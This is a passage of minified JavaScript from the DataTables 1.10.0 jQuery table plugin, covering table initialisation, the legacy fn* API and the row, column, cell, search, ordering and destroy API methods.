parseInt(a,10);return!isNaN(b)&&isFinite(a)?b:null},Mb=function(a,b){Wa[b]||(Wa[b]=RegExp(Oa(b),"g"));return"string"===typeof a?a.replace(/\./g,"").replace(Wa[b],"."):a},Xa=function(a,b,c){var d="string"===typeof a;b&&d&&(a=Mb(a,b));c&&d&&(a=a.replace(Va,""));return!a||"-"===a||!isNaN(parseFloat(a))&&isFinite(a)},Nb=function(a,b,c){return da(a)?!0:a&&"string"!==typeof a?null:Xa(a.replace(wa,""),b,c)?!0:null},B=function(a,b,c){var d=[],e=0,f=a.length;if(c!==l)for(;e<f;e++)a[e]&&a[e][b]&&d.push(a[e][b][c]);
else for(;e<f;e++)a[e]&&d.push(a[e][b]);return d},xa=function(a,b,c,d){var e=[],f=0,h=b.length;if(d!==l)for(;f<h;f++)e.push(a[b[f]][c][d]);else for(;f<h;f++)e.push(a[b[f]][c]);return e},R=function(a,b){var c=[],d;b===l?(b=0,d=a):(d=b,b=a);for(var e=b;e<d;e++)c.push(e);return c},Ja=function(a){var b=[],c,d,e=a.length,f,h=0;d=0;a:for(;d<e;d++){c=a[d];for(f=0;f<h;f++)if(b[f]===c)continue a;b.push(c);h++}return b},w=function(a,b,c){a[b]!==l&&(a[c]=a[b])},Z=/\[.*?\]$/,P=/\(\)$/,qa=g("<div>")[0],Tb=qa.textContent!==
l,Ub=/<.*?>/g;p=function(a){this.$=function(a,b){return this.api(!0).$(a,b)};this._=function(a,b){return this.api(!0).rows(a,b).data()};this.api=function(a){return a?new q(ua(this[u.iApiIndex])):new q(this)};this.fnAddData=function(a,b){var c=this.api(!0),d=g.isArray(a)&&(g.isArray(a[0])||g.isPlainObject(a[0]))?c.rows.add(a):c.row.add(a);(b===l||b)&&c.draw();return d.flatten().toArray()};this.fnAdjustColumnSizing=function(a){var b=this.api(!0).columns.adjust(),c=b.settings()[0],d=c.oScroll;a===l||
a?b.draw(!1):(""!==d.sX||""!==d.sY)&&V(c)};this.fnClearTable=function(a){var b=this.api(!0).clear();(a===l||a)&&b.draw()};this.fnClose=function(a){this.api(!0).row(a).child.hide()};this.fnDeleteRow=function(a,b,c){var d=this.api(!0),a=d.rows(a),e=a.settings()[0],g=e.aoData[a[0][0]];a.remove();b&&b.call(this,e,g);(c===l||c)&&d.draw();return g};this.fnDestroy=function(a){this.api(!0).destroy(a)};this.fnDraw=function(a){this.api(!0).draw(!a)};this.fnFilter=function(a,b,c,d,e,g){e=this.api(!0);null===
b||b===l?e.search(a,c,d,g):e.column(b).search(a,c,d,g);e.draw()};this.fnGetData=function(a,b){var c=this.api(!0);if(a!==l){var d=a.nodeName?a.nodeName.toLowerCase():"";return b!==l||"td"==d||"th"==d?c.cell(a,b).data():c.row(a).data()||null}return c.data().toArray()};this.fnGetNodes=function(a){var b=this.api(!0);return a!==l?b.row(a).node():b.rows().nodes().flatten().toArray()};this.fnGetPosition=function(a){var b=this.api(!0),c=a.nodeName.toUpperCase();return"TR"==c?b.row(a).index():"TD"==c||"TH"==
c?(a=b.cell(a).index(),[a.row,a.columnVisible,a.column]):null};this.fnIsOpen=function(a){return this.api(!0).row(a).child.isShown()};this.fnOpen=function(a,b,c){return this.api(!0).row(a).child(b,c).show().child()[0]};this.fnPageChange=function(a,b){var c=this.api(!0).page(a);(b===l||b)&&c.draw(!1)};this.fnSetColumnVis=function(a,b,c){a=this.api(!0).column(a).visible(b);(c===l||c)&&a.columns.adjust().draw()};this.fnSettings=function(){return ua(this[u.iApiIndex])};this.fnSort=function(a){this.api(!0).order(a).draw()};
this.fnSortListener=function(a,b,c){this.api(!0).order.listener(a,b,c)};this.fnUpdate=function(a,b,c,d,e){var g=this.api(!0);c===l||null===c?g.row(b).data(a):g.cell(b,c).data(a);(e===l||e)&&g.columns.adjust();(d===l||d)&&g.draw();return 0};this.fnVersionCheck=u.fnVersionCheck;var b=this,c=a===l,d=this.length;c&&(a={});this.oApi=this.internal=u.internal;for(var e in p.ext.internal)e&&(this[e]=Jb(e));this.each(function(){var e={},h=1<d?Hb(e,a,!0):a,i=0,j,n=this.getAttribute("id"),e=!1,m=p.defaults;
if("table"!=this.nodeName.toLowerCase())O(null,0,"Non-table node initialisation ("+this.nodeName+")",2);else{cb(m);db(m.column);G(m,m,!0);G(m.column,m.column,!0);G(m,h);var o=p.settings,i=0;for(j=o.length;i<j;i++){if(o[i].nTable==this){j=h.bRetrieve!==l?h.bRetrieve:m.bRetrieve;if(c||j)return o[i].oInstance;if(h.bDestroy!==l?h.bDestroy:m.bDestroy){o[i].oInstance.fnDestroy();break}else{O(o[i],0,"Cannot reinitialise DataTable",3);return}}if(o[i].sTableId==this.id){o.splice(i,1);break}}if(null===n||""===
n)this.id=n="DataTables_Table_"+p.ext._unique++;var k=g.extend(!0,{},p.models.oSettings,{nTable:this,oApi:b.internal,oInit:h,sDestroyWidth:g(this)[0].style.width,sInstance:n,sTableId:n});o.push(k);k.oInstance=1===b.length?b:g(this).dataTable();cb(h);h.oLanguage&&M(h.oLanguage);h.aLengthMenu&&!h.iDisplayLength&&(h.iDisplayLength=g.isArray(h.aLengthMenu[0])?h.aLengthMenu[0][0]:h.aLengthMenu[0]);h=Hb(g.extend(!0,{},m),h);D(k.oFeatures,h,"bPaginate bLengthChange bFilter bSort bSortMulti bInfo bProcessing bAutoWidth bSortClasses bServerSide bDeferRender".split(" "));
D(k,h,["asStripeClasses","ajax","fnServerData","fnFormatNumber","sServerMethod","aaSorting","aaSortingFixed","aLengthMenu","sPaginationType","sAjaxSource","sAjaxDataProp","iStateDuration","sDom","bSortCellsTop","iTabIndex","fnStateLoadCallback","fnStateSaveCallback","renderer",["iCookieDuration","iStateDuration"],["oSearch","oPreviousSearch"],["aoSearchCols","aoPreSearchCols"],["iDisplayLength","_iDisplayLength"],["bJQueryUI","bJUI"]]);D(k.oScroll,h,[["sScrollX","sX"],["sScrollXInner","sXInner"],
["sScrollY","sY"],["bScrollCollapse","bCollapse"]]);D(k.oLanguage,h,"fnInfoCallback");y(k,"aoDrawCallback",h.fnDrawCallback,"user");y(k,"aoServerParams",h.fnServerParams,"user");y(k,"aoStateSaveParams",h.fnStateSaveParams,"user");y(k,"aoStateLoadParams",h.fnStateLoadParams,"user");y(k,"aoStateLoaded",h.fnStateLoaded,"user");y(k,"aoRowCallback",h.fnRowCallback,"user");y(k,"aoRowCreatedCallback",h.fnCreatedRow,"user");y(k,"aoHeaderCallback",h.fnHeaderCallback,"user");y(k,"aoFooterCallback",h.fnFooterCallback,
"user");y(k,"aoInitComplete",h.fnInitComplete,"user");y(k,"aoPreDrawCallback",h.fnPreDrawCallback,"user");n=k.oClasses;h.bJQueryUI?(g.extend(n,p.ext.oJUIClasses,h.oClasses),h.sDom===m.sDom&&"lfrtip"===m.sDom&&(k.sDom='<"H"lfr>t<"F"ip>'),k.renderer)?g.isPlainObject(k.renderer)&&!k.renderer.header&&(k.renderer.header="jqueryui"):k.renderer="jqueryui":g.extend(n,p.ext.classes,h.oClasses);g(this).addClass(n.sTable);if(""!==k.oScroll.sX||""!==k.oScroll.sY)k.oScroll.iBarWidth=Db();!0===k.oScroll.sX&&(k.oScroll.sX=
"100%");k.iInitDisplayStart===l&&(k.iInitDisplayStart=h.iDisplayStart,k._iDisplayStart=h.iDisplayStart);null!==h.iDeferLoading&&(k.bDeferLoading=!0,i=g.isArray(h.iDeferLoading),k._iRecordsDisplay=i?h.iDeferLoading[0]:h.iDeferLoading,k._iRecordsTotal=i?h.iDeferLoading[1]:h.iDeferLoading);""!==h.oLanguage.sUrl?(k.oLanguage.sUrl=h.oLanguage.sUrl,g.getJSON(k.oLanguage.sUrl,null,function(a){M(a);G(m.oLanguage,a);g.extend(true,k.oLanguage,h.oLanguage,a);ra(k)}),e=!0):g.extend(!0,k.oLanguage,h.oLanguage);
null===h.asStripeClasses&&(k.asStripeClasses=[n.sStripeOdd,n.sStripeEven]);var i=k.asStripeClasses,r=g("tbody tr:eq(0)",this);-1!==g.inArray(!0,g.map(i,function(a){return r.hasClass(a)}))&&(g("tbody tr",this).removeClass(i.join(" ")),k.asDestroyStripes=i.slice());var o=[],q,i=this.getElementsByTagName("thead");0!==i.length&&($(k.aoHeader,i[0]),o=ma(k));if(null===h.aoColumns){q=[];i=0;for(j=o.length;i<j;i++)q.push(null)}else q=h.aoColumns;i=0;for(j=q.length;i<j;i++)Aa(k,o?o[i]:null);gb(k,h.aoColumnDefs,
q,function(a,b){fa(k,a,b)});if(r.length){var s=function(a,b){return a.getAttribute("data-"+b)?b:null};g.each(ia(k,r[0]).cells,function(a,b){var c=k.aoColumns[a];if(c.mData===a){var d=s(b,"sort")||s(b,"order"),e=s(b,"filter")||s(b,"search");if(d!==null||e!==null){c.mData={_:a+".display",sort:d!==null?a+".@data-"+d:l,type:d!==null?a+".@data-"+d:l,filter:e!==null?a+".@data-"+e:l};fa(k,a)}}})}var u=k.oFeatures;h.bStateSave&&(u.bStateSave=!0,Gb(k,h),y(k,"aoDrawCallback",ta,"state_save"));if(h.aaSorting===
l){o=k.aaSorting;i=0;for(j=o.length;i<j;i++)o[i][1]=k.aoColumns[i].asSorting[0]}sa(k);u.bSort&&y(k,"aoDrawCallback",function(){if(k.bSorted){var a=Q(k),b={};g.each(a,function(a,c){b[c.src]=c.dir});t(k,null,"order",[k,a,b]);Fb(k)}});y(k,"aoDrawCallback",function(){(k.bSorted||z(k)==="ssp"||u.bDeferRender)&&sa(k)},"sc");eb(k);i=g(this).children("caption").each(function(){this._captionSide=g(this).css("caption-side")});j=g(this).children("thead");0===j.length&&(j=g("<thead/>").appendTo(this));k.nTHead=
j[0];j=g(this).children("tbody");0===j.length&&(j=g("<tbody/>").appendTo(this));k.nTBody=j[0];j=g(this).children("tfoot");if(0===j.length&&0<i.length&&(""!==k.oScroll.sX||""!==k.oScroll.sY))j=g("<tfoot/>").appendTo(this);0===j.length||0===j.children().length?g(this).addClass(n.sNoFooter):0<j.length&&(k.nTFoot=j[0],$(k.aoFooter,k.nTFoot));if(h.aaData)for(i=0;i<h.aaData.length;i++)H(k,h.aaData[i]);else(k.bDeferLoading||"dom"==z(k))&&ha(k,g(k.nTBody).children("tr"));k.aiDisplay=k.aiDisplayMaster.slice();
k.bInitialised=!0;!1===e&&ra(k)}});b=null;return this};var Ob=[],v=Array.prototype,Wb=function(a){var b,c,d=p.settings,e=g.map(d,function(a){return a.nTable});if(a){if(a.nTable&&a.oApi)return[a];if(a.nodeName&&"table"===a.nodeName.toLowerCase())return b=g.inArray(a,e),-1!==b?[d[b]]:null;if(a&&"function"===typeof a.settings)return a.settings().toArray();"string"===typeof a?c=g(a):a instanceof g&&(c=a)}else return[];if(c)return c.map(function(){b=g.inArray(this,e);return-1!==b?d[b]:null}).toArray()};
p.Api=q=function(a,b){if(!this instanceof q)throw"DT API must be constructed as a new object";var c=[],d=function(a){(a=Wb(a))&&c.push.apply(c,a)};if(g.isArray(a))for(var e=0,f=a.length;e<f;e++)d(a[e]);else d(a);this.context=Ja(c);b&&this.push.apply(this,b.toArray?b.toArray():b);this.selector={rows:null,cols:null,opts:null};q.extend(this,this,Ob)};q.prototype={concat:v.concat,context:[],each:function(a){if(v.forEach)v.forEach.call(this,a,this);else for(var b=0,c=this.length;b<c;b++)a.call(this,this[b],
b,this);return this},eq:function(a){var b=this.context;return b.length>a?new q(b[a],this[a]):null},filter:function(a){var b=[];if(v.filter)b=v.filter.call(this,a,this);else for(var c=0,d=this.length;c<d;c++)a.call(this,this[c],c,this)&&b.push(this[c]);return new q(this.context,b)},flatten:function(){var a=[];return new q(this.context,a.concat.apply(a,this.toArray()))},join:v.join,indexOf:v.indexOf||function(a,b){for(var c=b||0,d=this.length;c<d;c++)if(this[c]===a)return c;return-1},iterator:function(a,
b,c){var d=[],e,f,h,g,j,n=this.context,m,o,k=this.selector;"string"===typeof a&&(c=b,b=a,a=!1);f=0;for(h=n.length;f<h;f++)if("table"===b)e=c(n[f],f),e!==l&&d.push(e);else if("columns"===b||"rows"===b)e=c(n[f],this[f],f),e!==l&&d.push(e);else if("column"===b||"column-rows"===b||"row"===b||"cell"===b){o=this[f];"column-rows"===b&&(m=Ya(n[f],k.opts));g=0;for(j=o.length;g<j;g++)e=o[g],e="cell"===b?c(n[f],e.row,e.column,f,g):c(n[f],e,f,g,m),e!==l&&d.push(e)}return d.length?(a=new q(n,a?d.concat.apply([],
d):d),b=a.selector,b.rows=k.rows,b.cols=k.cols,b.opts=k.opts,a):this},lastIndexOf:v.lastIndexOf||function(a,b){return this.indexOf.apply(this.toArray.reverse(),arguments)},length:0,map:function(a){var b=[];if(v.map)b=v.map.call(this,a,this);else for(var c=0,d=this.length;c<d;c++)b.push(a.call(this,this[c],c));return new q(this.context,b)},pluck:function(a){return this.map(function(b){return b[a]})},pop:v.pop,push:v.push,reduce:v.reduce||function(a,b){return fb(this,a,b,0,this.length,1)},reduceRight:v.reduceRight||
function(a,b){return fb(this,a,b,this.length-1,-1,-1)},reverse:v.reverse,selector:null,shift:v.shift,sort:v.sort,splice:v.splice,toArray:function(){return v.slice.call(this)},to$:function(){return g(this)},toJQuery:function(){return g(this)},unique:function(){return new q(this.context,Ja(this))},unshift:v.unshift};q.extend=function(a,b,c){if(b&&(b instanceof q||b.__dt_wrapper)){var d,e,f,h=function(b,c){return function(){var d=b.apply(a,arguments);q.extend(d,d,c.methodExt);return d}};d=0;for(e=c.length;d<
e;d++)f=c[d],b[f.name]="function"===typeof f.val?h(f.val,f):g.isPlainObject(f.val)?{}:f.val,b[f.name].__dt_wrapper=!0,q.extend(a,b[f.name],f.propExt)}};q.register=r=function(a,b){if(g.isArray(a))for(var c=0,d=a.length;c<d;c++)q.register(a[c],b);else{for(var e=a.split("."),f=Ob,h,i,c=0,d=e.length;c<d;c++){h=(i=-1!==e[c].indexOf("()"))?e[c].replace("()",""):e[c];var j;a:{j=0;for(var n=f.length;j<n;j++)if(f[j].name===h){j=f[j];break a}j=null}j||(j={name:h,val:{},methodExt:[],propExt:[]},f.push(j));c===
d-1?j.val=b:f=i?j.methodExt:j.propExt}q.ready&&p.api.build()}};q.registerPlural=x=function(a,b,c){q.register(a,c);q.register(b,function(){var a=c.apply(this,arguments);return a===this?this:a instanceof q?a.length?g.isArray(a[0])?new q(a.context,a[0]):a[0]:l:a})};r("tables()",function(a){var b;if(a){b=q;var c=this.context;if("number"===typeof a)a=[c[a]];else var d=g.map(c,function(a){return a.nTable}),a=g(d).filter(a).map(function(){var a=g.inArray(this,d);return c[a]}).toArray();b=new b(a)}else b=
this;return b});r("table()",function(a){var a=this.tables(a),b=a.context;return b.length?new q(b[0]):a});x("tables().nodes()","table().node()",function(){return this.iterator("table",function(a){return a.nTable})});x("tables().body()","table().body()",function(){return this.iterator("table",function(a){return a.nTBody})});x("tables().header()","table().header()",function(){return this.iterator("table",function(a){return a.nTHead})});x("tables().footer()","table().footer()",function(){return this.iterator("table",
function(a){return a.nTFoot})});r("draw()",function(a){return this.iterator("table",function(b){K(b,!1===a)})});r("page()",function(a){return a===l?this.page.info().page:this.iterator("table",function(b){Ra(b,a)})});r("page.info()",function(){if(0===this.context.length)return l;var a=this.context[0],b=a._iDisplayStart,c=a._iDisplayLength,d=a.fnRecordsDisplay(),e=-1===c;return{page:e?0:Math.floor(b/c),pages:e?1:Math.ceil(d/c),start:b,end:a.fnDisplayEnd(),length:c,recordsTotal:a.fnRecordsTotal(),recordsDisplay:d}});
r("page.len()",function(a){return a===l?0!==this.context.length?this.context[0]._iDisplayLength:l:this.iterator("table",function(b){Pa(b,a)})});var Pb=function(a,b,c){"ssp"==z(a)?K(a,b):(C(a,!0),na(a,[],function(c){ja(a);for(var c=oa(a,c),d=0,h=c.length;d<h;d++)H(a,c[d]);K(a,b);C(a,!1)}));if(c){var d=new q(a);d.one("draw",function(){c(d.ajax.json())})}};r("ajax.json()",function(){var a=this.context;if(0<a.length)return a[0].json});r("ajax.params()",function(){var a=this.context;if(0<a.length)return a[0].oAjaxData});
r("ajax.reload()",function(a,b){return this.iterator("table",function(c){Pb(c,!1===b,a)})});r("ajax.url()",function(a){var b=this.context;if(a===l){if(0===b.length)return l;b=b[0];return b.ajax?g.isPlainObject(b.ajax)?b.ajax.url:b.ajax:b.sAjaxSource}return this.iterator("table",function(b){g.isPlainObject(b.ajax)?b.ajax.url=a:b.ajax=a})});r("ajax.url().load()",function(a,b){return this.iterator("table",function(c){Pb(c,!1===b,a)})});var Za=function(a,b){var c=[],d,e,f,h,i,j;if(!a||"string"===typeof a||
a.length===l)a=[a];f=0;for(h=a.length;f<h;f++){e=a[f]&&a[f].split?a[f].split(","):[a[f]];i=0;for(j=e.length;i<j;i++)(d=b("string"===typeof e[i]?g.trim(e[i]):e[i]))&&d.length&&c.push.apply(c,d)}return c},$a=function(a){a||(a={});a.filter&&!a.search&&(a.search=a.filter);return{search:a.search||"none",order:a.order||"current",page:a.page||"all"}},ab=function(a){for(var b=0,c=a.length;b<c;b++)if(0<a[b].length)return a[0]=a[b],a.length=1,a.context=[a.context[b]],a;a.length=0;return a},Ya=function(a,b){var c,
d,e,f=[],h=a.aiDisplay;c=a.aiDisplayMaster;var i=b.search;d=b.order;e=b.page;if("ssp"==z(a))return"removed"===i?[]:R(0,c.length);if("current"==e){c=a._iDisplayStart;for(d=a.fnDisplayEnd();c<d;c++)f.push(h[c])}else if("current"==d||"applied"==d)f="none"==i?c.slice():"applied"==i?h.slice():g.map(c,function(a){return-1===g.inArray(a,h)?a:null});else if("index"==d||"original"==d){c=0;for(d=a.aoData.length;c<d;c++)"none"==i?f.push(c):(e=g.inArray(c,h),(-1===e&&"removed"==i||1===e&&"applied"==i)&&f.push(c))}return f};
r("rows()",function(a,b){a===l?a="":g.isPlainObject(a)&&(b=a,a="");var b=$a(b),c=this.iterator("table",function(c){var e=b;return Za(a,function(a){var b=Lb(a);if(b!==null&&!e)return[b];var i=Ya(c,e);if(b!==null&&g.inArray(b,i)!==-1)return[b];if(!a)return i;for(var b=[],j=0,n=i.length;j<n;j++)b.push(c.aoData[i[j]].nTr);return a.nodeName&&g.inArray(a,b)!==-1?[a._DT_RowIndex]:g(b).filter(a).map(function(){return this._DT_RowIndex}).toArray()})});c.selector.rows=a;c.selector.opts=b;return c});r("rows().nodes()",
function(){return this.iterator("row",function(a,b){return a.aoData[b].nTr||l})});r("rows().data()",function(){return this.iterator(!0,"rows",function(a,b){return xa(a.aoData,b,"_aData")})});x("rows().cache()","row().cache()",function(a){return this.iterator("row",function(b,c){var d=b.aoData[c];return"search"===a?d._aFilterData:d._aSortData})});x("rows().invalidate()","row().invalidate()",function(a){return this.iterator("row",function(b,c){la(b,c,a)})});x("rows().indexes()","row().index()",function(){return this.iterator("row",
function(a,b){return b})});x("rows().remove()","row().remove()",function(){var a=this;return this.iterator("row",function(b,c,d){var e=b.aoData;e.splice(c,1);for(var f=0,h=e.length;f<h;f++)null!==e[f].nTr&&(e[f].nTr._DT_RowIndex=f);g.inArray(c,b.aiDisplay);ka(b.aiDisplayMaster,c);ka(b.aiDisplay,c);ka(a[d],c,!1);Qa(b)})});r("rows.add()",function(a){var b=this.iterator("table",function(b){var c,f,h,g=[];f=0;for(h=a.length;f<h;f++)c=a[f],c.nodeName&&"TR"===c.nodeName.toUpperCase()?g.push(ha(b,c)[0]):
g.push(H(b,c));return g}),c=this.rows(-1);c.pop();c.push.apply(c,b.toArray());return c});r("row()",function(a,b){return ab(this.rows(a,b))});r("row().data()",function(a){var b=this.context;if(a===l)return b.length&&this.length?b[0].aoData[this[0]]._aData:l;b[0].aoData[this[0]]._aData=a;la(b[0],this[0],"data");return this});r("row().node()",function(){var a=this.context;return a.length&&this.length?a[0].aoData[this[0]].nTr||null:null});r("row.add()",function(a){a instanceof g&&a.length&&(a=a[0]);var b=
this.iterator("table",function(b){return a.nodeName&&"TR"===a.nodeName.toUpperCase()?ha(b,a)[0]:H(b,a)});return this.row(b[0])});var Qb=function(a){var b=this.context;if(b.length&&this.length){var c=b[0].aoData[this[0]];if(c._details){(c._detailsShow=a)?c._details.insertAfter(c.nTr):c._details.remove();var d=b[0],e=new q(d);e.off("draw.dt.DT_details column-visibility.dt.DT_details");0<B(d.aoData,"_details").length&&(e.on("draw.dt.DT_details",function(){e.rows({page:"current"}).eq(0).each(function(a){a=
d.aoData[a];a._detailsShow&&a._details.insertAfter(a.nTr)})}),e.on("column-visibility.dt.DT_details",function(a,b){for(var c,d=Y(b),e=0,g=b.aoData.length;e<g;e++)c=b.aoData[e],c._details&&c._details.children("td[colspan]").attr("colspan",d)}))}}return this};r("row().child()",function(a,b){var c=this.context;if(a===l)return c.length&&this.length?c[0].aoData[this[0]]._details:l;if(c.length&&this.length){var d=c[0],c=c[0].aoData[this[0]],e=[],f=function(a,b){if(a.nodeName&&"tr"===a.nodeName.toLowerCase())e.push(a);
else{var c=g("<tr><td/></tr>");g("td",c).addClass(b).html(a)[0].colSpan=Y(d);e.push(c[0])}};if(g.isArray(a)||a instanceof g)for(var h=0,i=a.length;h<i;h++)f(a[h],b);else f(a,b);c._details&&c._details.remove();c._details=g(e);c._detailsShow&&c._details.insertAfter(c.nTr)}return this});r(["row().child.show()","row().child().show()"],function(){Qb.call(this,!0);return this});r(["row().child.hide()","row().child().hide()"],function(){Qb.call(this,!1);return this});r("row().child.isShown()",function(){var a=
this.context;return a.length&&this.length?a[0].aoData[this[0]]._detailsShow||!1:!1});var Xb=/^(.*):(name|visIdx|visible)$/;r("columns()",function(a,b){a===l?a="":g.isPlainObject(a)&&(b=a,a="");var b=$a(b),c=this.iterator("table",function(b){var c=a,f=b.aoColumns,h=B(f,"sName"),i=B(f,"nTh");return Za(c,function(a){var c=Lb(a);if(a==="")return R(f.length);if(c!==null)return[c>=0?c:f.length+c];var e=typeof a==="string"?a.match(Xb):"";if(e)switch(e[2]){case "visIdx":case "visible":a=parseInt(e[1],10);
if(a<0){c=g.map(f,function(a,b){return a.bVisible?b:null});return[c[c.length+a]]}return[ga(b,a)];case "name":return g.map(h,function(a,b){return a===e[1]?b:null})}else return g(i).filter(a).map(function(){return g.inArray(this,i)}).toArray()})});c.selector.cols=a;c.selector.opts=b;return c});x("columns().header()","column().header()",function(){return this.iterator("column",function(a,b){return a.aoColumns[b].nTh})});x("columns().footer()","column().footer()",function(){return this.iterator("column",
function(a,b){return a.aoColumns[b].nTf})});x("columns().data()","column().data()",function(){return this.iterator("column-rows",function(a,b,c,d,e){for(var c=[],d=0,f=e.length;d<f;d++)c.push(A(a,e[d],b,""));return c})});x("columns().cache()","column().cache()",function(a){return this.iterator("column-rows",function(b,c,d,e,f){return xa(b.aoData,f,"search"===a?"_aFilterData":"_aSortData",c)})});x("columns().nodes()","column().nodes()",function(){return this.iterator("column-rows",function(a,b,c,d,
e){return xa(a.aoData,e,"anCells",b)})});x("columns().visible()","column().visible()",function(a){return this.iterator("column",function(b,c){var d;if(a===l)d=b.aoColumns[c].bVisible;else{var e=b.aoColumns;d=e[c];var f=b.aoData,h,i,j;if(a===l)d=d.bVisible;else{if(d.bVisible!==a){if(a){var n=g.inArray(!0,B(e,"bVisible"),c+1);h=0;for(i=f.length;h<i;h++)j=f[h].nTr,e=f[h].anCells,j&&j.insertBefore(e[c],e[n]||null)}else g(B(b.aoData,"anCells",c)).detach(),d.bVisible=!1,I(b,b.aoHeader),I(b,b.aoFooter),
ta(b);d.bVisible=a;I(b,b.aoHeader);I(b,b.aoFooter);U(b);(b.oScroll.sX||b.oScroll.sY)&&V(b);t(b,null,"column-visibility",[b,c,a]);ta(b)}d=void 0}}return d})});x("columns().indexes()","column().index()",function(a){return this.iterator("column",function(b,c){return"visible"===a?X(b,c):c})});r("columns.adjust()",function(){return this.iterator("table",function(a){U(a)})});r("column.index()",function(a,b){if(0!==this.context.length){var c=this.context[0];if("fromVisible"===a||"toData"===a)return ga(c,
b);if("fromData"===a||"toVisible"===a)return X(c,b)}});r("column()",function(a,b){return ab(this.columns(a,b))});r("cells()",function(a,b,c){g.isPlainObject(a)&&(a.row?(c=b,b=null):(c=a,a=null));g.isPlainObject(b)&&(c=b,b=null);if(null===b||b===l)return this.iterator("table",function(b){var d=a,e=$a(c),f=b.aoData,h=Ya(b,e),e=xa(f,h,"anCells"),i=g([].concat.apply([],e)),j,m=b.aoColumns.length,n,l,p,r;return Za(d,function(a){if(a){if(g.isPlainObject(a))return[a]}else{n=[];l=0;for(p=h.length;l<p;l++){j=
h[l];for(r=0;r<m;r++)n.push({row:j,column:r})}return n}return i.filter(a).map(function(a,b){j=b.parentNode._DT_RowIndex;return{row:j,column:g.inArray(b,f[j].anCells)}}).toArray()})});var d=this.columns(b,c),e=this.rows(a,c),f,h,i,j,n,m=this.iterator("table",function(a,b){f=[];h=0;for(i=e[b].length;h<i;h++){j=0;for(n=d[b].length;j<n;j++)f.push({row:e[b][h],column:d[b][j]})}return f});g.extend(m.selector,{cols:b,rows:a,opts:c});return m});x("cells().nodes()","cell().node()",function(){return this.iterator("cell",
function(a,b,c){return a.aoData[b].anCells[c]})});r("cells().data()",function(){return this.iterator("cell",function(a,b,c){return A(a,b,c)})});x("cells().cache()","cell().cache()",function(a){a="search"===a?"_aFilterData":"_aSortData";return this.iterator("cell",function(b,c,d){return b.aoData[c][a][d]})});x("cells().indexes()","cell().index()",function(){return this.iterator("cell",function(a,b,c){return{row:b,column:c,columnVisible:X(a,c)}})});r(["cells().invalidate()","cell().invalidate()"],function(a){var b=
this.selector;this.rows(b.rows,b.opts).invalidate(a);return this});r("cell()",function(a,b,c){return ab(this.cells(a,b,c))});r("cell().data()",function(a){var b=this.context,c=this[0];if(a===l)return b.length&&c.length?A(b[0],c[0].row,c[0].column):l;Ea(b[0],c[0].row,c[0].column,a);la(b[0],c[0].row,"data",c[0].column);return this});r("order()",function(a,b){var c=this.context;if(a===l)return 0!==c.length?c[0].aaSorting:l;"number"===typeof a?a=[[a,b]]:g.isArray(a[0])||(a=Array.prototype.slice.call(arguments));
return this.iterator("table",function(b){b.aaSorting=a.slice()})});r("order.listener()",function(a,b,c){return this.iterator("table",function(d){Ka(d,a,b,c)})});r(["columns().order()","column().order()"],function(a){var b=this;return this.iterator("table",function(c,d){var e=[];g.each(b[d],function(b,c){e.push([c,a])});c.aaSorting=e})});r("search()",function(a,b,c,d){var e=this.context;return a===l?0!==e.length?e[0].oPreviousSearch.sSearch:l:this.iterator("table",function(e){e.oFeatures.bFilter&&
aa(e,g.extend({},e.oPreviousSearch,{sSearch:a+"",bRegex:null===b?!1:b,bSmart:null===c?!0:c,bCaseInsensitive:null===d?!0:d}),1)})});r(["columns().search()","column().search()"],function(a,b,c,d){return this.iterator("column",function(e,f){var h=e.aoPreSearchCols;if(a===l)return h[f].sSearch;e.oFeatures.bFilter&&(g.extend(h[f],{sSearch:a+"",bRegex:null===b?!1:b,bSmart:null===c?!0:c,bCaseInsensitive:null===d?!0:d}),aa(e,e.oPreviousSearch,1))})});p.versionCheck=p.fnVersionCheck=function(a){for(var b=
p.version.split("."),a=a.split("."),c,d,e=0,f=a.length;e<f;e++)if(c=parseInt(b[e],10)||0,d=parseInt(a[e],10)||0,c!==d)return c>d;return!0};p.isDataTable=p.fnIsDataTable=function(a){var b=g(a).get(0),c=!1;g.each(p.settings,function(a,e){if(e.nTable===b||e.nScrollHead===b||e.nScrollFoot===b)c=!0});return c};p.tables=p.fnTables=function(a){return jQuery.map(p.settings,function(b){if(!a||a&&g(b.nTable).is(":visible"))return b.nTable})};p.camelToHungarian=G;r("$()",function(a,b){var c=this.rows(b).nodes(),
c=g(c);return g([].concat(c.filter(a).toArray(),c.find(a).toArray()))});g.each(["on","one","off"],function(a,b){r(b+"()",function(){var a=Array.prototype.slice.call(arguments);-1===a[0].indexOf(".dt")&&(a[0]+=".dt");var d=g(this.tables().nodes());d[b].apply(d,a);return this})});r("clear()",function(){return this.iterator("table",function(a){ja(a)})});r("settings()",function(){return new q(this.context,this.context)});r("data()",function(){return this.iterator("table",function(a){return B(a.aoData,
"_aData")}).flatten()});r("destroy()",function(a){a=a||!1;return this.iterator("table",function(b){var c=b.nTableWrapper.parentNode,d=b.oClasses,e=b.nTable,f=b.nTBody,h=b.nTHead,i=b.nTFoot,j=g(e),f=g(f),n=g(b.nTableWrapper),m=g.map(b.aoData,function(a){return a.nTr}),l;b.bDestroying=!0;t(b,"aoDestroyCallback","destroy",[b]);a||(new q(b)).columns().visible(!0);n.unbind(".DT").find(":not(tbody *)").unbind(".DT");g(za).unbind(".DT-"+b.sInstance);e!=h.parentNode&&(j.children("thead").detach(),j.append(h));
i&&e!=i.parentNode&&(j.children("tfoot").detach(),j.append(i));j.detach();n.detach();b.aaSorting=[];b.aaSortingFixed=[];sa(b);g(m).removeClass(b.asStripeClasses.join(" "));g("th, td",h).removeClass(d.sSortable+" "+d.sSortableAsc+" "+d.sSortableDesc+" "+d.sSortableNone);b.bJUI&&(g("th span."+d.sSortIcon+", td span."+d.sSortIcon,h).detach(),g("th, td",h).each(function(){var a=g("div."+d.sSortJUIWrapper,this);g(this).append(a.contents());a.detach()}));!a&&c&&c.insertBefore(e,b.nTableReinsertBefore);
f.children().detach();f.append(m);j.css("width",b.sDestroyWidth).removeClass(d.sTable);(l=b.asDestroyStripes.length)&&f.children().each(function(a){g(this).addClass(b.asDestroyStripes[a%l])});c=g.inArray(b,p.settings);-1!==c&&p.settings.splice(c,1)})});p.version="1.10.0";p.settings=[];p.models={};p.models.oSearch={bCaseInsensitive:!0,sSearch:"",bRegex:!1,bSmart:!0};p.models.oRow={nTr:null,anCells:null,_aData:[],_aSortData:null,_aFilterData:null,_sFilterRow:null,_sRowStripe:"",src:null};p.models.oColumn=
